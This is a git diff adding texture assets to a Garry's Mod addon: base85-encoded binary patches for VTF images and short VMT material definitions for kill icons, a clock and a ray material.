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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt new file mode 100644 index 0000000..f3dfe33 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_annabelle" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..4d5546ad8048e11acc95c64b8475731a7b650f84 GIT binary patch literal 5696 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt new file mode 100644 index 0000000..86ae70b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_citizensuitcase" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vtf new file mode 100644 index 0000000000000000000000000000000000000000..2e89ca7a09067e8f8aedf5284fcf550f4be79710 GIT binary patch literal 5696 zcmeI0e@vA38Nk1sr=CYnT&fwHwca~l6JIvM-nG!N=m6t2VzZ5?ub7)2Nc)v~e0qydj8T5|)AgLlt!$Me0z zwb@_WADb`79Uq?O`+a_VpYN~Rweu;qlrd(2-xByOgdb*QX=(5`JZVq&e0}3LzPNVd z&qI%FO#G|9AOrqbYJs;EE9TV_5`5n;Go~oYIZ?pRh8XG+w`8LTq6#Cm>zF^wCdGj{6Tx2?X_H3719y3%@0&iO59V7Z-?+0m;{ zpQ$Vl4T9bGE>9>=eBiGP`J3OOxR>?-=e3Fye-A4@DZXrAl!q19QGaL&<-<`v-J(ym z=#&>-kGsz(Kg5)$b)tT6t$u$kI`@U?Gt$;eac^w6M2O8_t)z83RGDz6~eP* z&veFz;1cB(%(sf*vI^sf14&GIP80QK(m|i{&8Sck>dJqeu?`FC^#j}E?!LmZfYa{6 zc*Yt2POv*sm&|ae>eY9CJEM;lSxpg#!oG0)*Oia^?&(*ct{lEnmi7n)C*K8myuFEi z3EHzy^`+b5Y+yNntM4wo-4y2+M(@5q5&QUH%q?44Gd#(Bi^96;{N7al>ZbPYB-^CO z^1u9&xIwl_-_#-jVjS%VLaPQN=nA`rz%8v!7O6g7K?@S zRmmu{X*08&VIFBCw?83vgT0zPO)4?kYyNv=Ju%7~ZdbM>S(MD?Thot%{lS9RU4d8r)@KfTC+voWgrIE}xzZUDD_Np|HnRBs#=NJ2%{LUQLAB6a8 zbNl;Ae=y%DL?-XNNsRj5We4s)YAuKjK>S!=cDsGM<<|QXy8GGCF*{?k#}(y?TpgNJ z#McWGOd#Sd;IEa~R1w1bX`IVL4KSXK$U00uRvyCnX0A{22B^O_O;H}R1!8~xNo8pH zYgYFC9k32!eZzwvFkK(=!+iWt)k7=npT9r5W#b~4KT2@fp(VBcA#r7SD9#3lQkPb2 zD17&IG0yCiviL{-O&=ETOK@r7Vgv5K#V+wbH9wZs`YVrC9UOfQ=D!lm^;I77XK#Qd zK*IfEu2XZi`_~wNalKNaj8!`Q79;R}*e_snH2|MR#`POF+rjr(sdo4`6({IV-)%ZwdLNWUZBEh~|umBeV@zUTTOh<{B8Qs7zv@xxO+KmH?`3&-Ck!TCKqoA2ikztlN) zCrtg>ARqOHh2s|tDyvA247kt05D6UkNJn%zG*MvVTn-MGQWpW^@g`WJ=1nR7R& zJ;tkn_X~NPk0<8$+{|o{^1$eQ4Sxo-fotJU+qe6?vvE{5-YC zc-{%$DJDjF#o@9P`>-BgIx|di)IZkZjSyq}FYVsFJ3jv}B**{r<2MSfbTc0>jNjpK z*i-vcW|Ql?QGg2S?Cc~t?jISKW_dlLeYU~H*E95AIkLk+`k0^k@HOr)-e=0{(!C^C zVSlMBtL6I<&ae7*b3Msn|B>`dIo-tA|LnQ;c48c#+8T$W`2+<28SxK1u>Og{h_%rL zZ-;~waW5lRmbD8n^<(9WdxjyWG=9?(BWoB`IFn-6LKOAd*^+I;& zt>pOct*&y8RyjxT{_IQH|Celo`K;{ON&Vq|Fg)DG_d8_$E8V>QkORHZ1^i?%i;pMf zBOGA7{yX4)R#)AUqHh$QRHD3pl=r+avzP4S{cS^E@;>|q?B`}}nCruRPpWt6yg%IU zzuh0;{BDIR2Yu_;AATJUKd}GdeGd1(m9D&s5PW6u3hW1~;QsYS*VZ__4ij^z73Lq8#h%O$k0;PMA}-X53FGxmqylaW8johkgF qKJo^Tv#w$@R>Vy!oF#!*v#oHRJ}ILAyHJh?Yk2Sj@FD-7<>Q|`G%_>* literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt new file mode 100644 index 0000000..b44df71 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/worldspawn" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vtf new file mode 100644 index 0000000000000000000000000000000000000000..95046de02197023f60782c4f5c6cb7cafc8cdf99 GIT binary patch literal 5696 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt new file mode 100644 index 0000000..6fd1311 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt new file mode 100644 index 0000000..1768ca1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/clock" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vtf new file mode 100644 index 0000000000000000000000000000000000000000..a42ad0fbeb8d1edcc6b020a13cf406c7d8456e57 GIT binary patch literal 349732 zcmeF42fSTH^|liNgp$yE4Lx+}p$3pDMUbkLPy`eNks1UcbQBOZgdTdArl1J?F(^eq zid2;r5UB!@nuL`7z0a8Ue3Qdzd!KXfJvVo5ev_HA_tdr4yJk(@yY9S2ufDx{^_os@ z2f1Fo^=~P>|NR|x=i?jM{qM=J!T2-x*MD=&;b{MRrT<4~EA20D?{P8!BKKkf?tN0A}qaXd~UBxN={_c0b z`|j(nzrNj`d+zzpcfRwTcVBz$wH>l7>osxW#HGiM9ee9v|N7UDAAkJuPZYjG&z9re zgb5RtdiL38KUiUf6+)imyWDciWlul-^ccMx_|Zon-MHe4E0*55>}8f&Ci~!n4{pEb zo_qe|XXXBHfBV}{Zn@=_s_(D6?z&I@_P4*?IAFklujIeTB8y~CKKbPBpMCb(QWsx* z@dx~N{tGR%P&Q)3h%ujj`sqO0Ab;rxAAInZpa1;lAD?^fxu5*`&wsu{bPMlzAG`76 z$1nfI7hn8B?s>V--Jmcq|e}2xFUw%1Je)hZH{VqG_oO80X z&pta-J2RD+iC&ZR?t)2^Ce2iqb_Uh)PQB00KmYt}o_XdewZ(0kbIv(KUdlgHoBtT+ zp}fyf{jviNIN&SkoZkNKyYHS+Kc%^VI;c%ciickgA3nTpTIX^4>8EE(Gf8r?@`oRO zc>2Hp{qJmn1r}&H{Ty@5k&PZb8u>W?U;p~oBRAiCbHiy}hmj*kW|HL>|M8E1ynXV? zC+AKtoMbP)_~Pf1ueXJt-06kI?5U@oBK=<^Yq`_^>}NkieqVg$l~+!`_uhN6x#ym{ z;XL~H@1Ont_rK57_Tl2?l6T*I_m@BX;SU>5FFio|Ns@t;k%1Rpc;U?3Z@)d;a?362 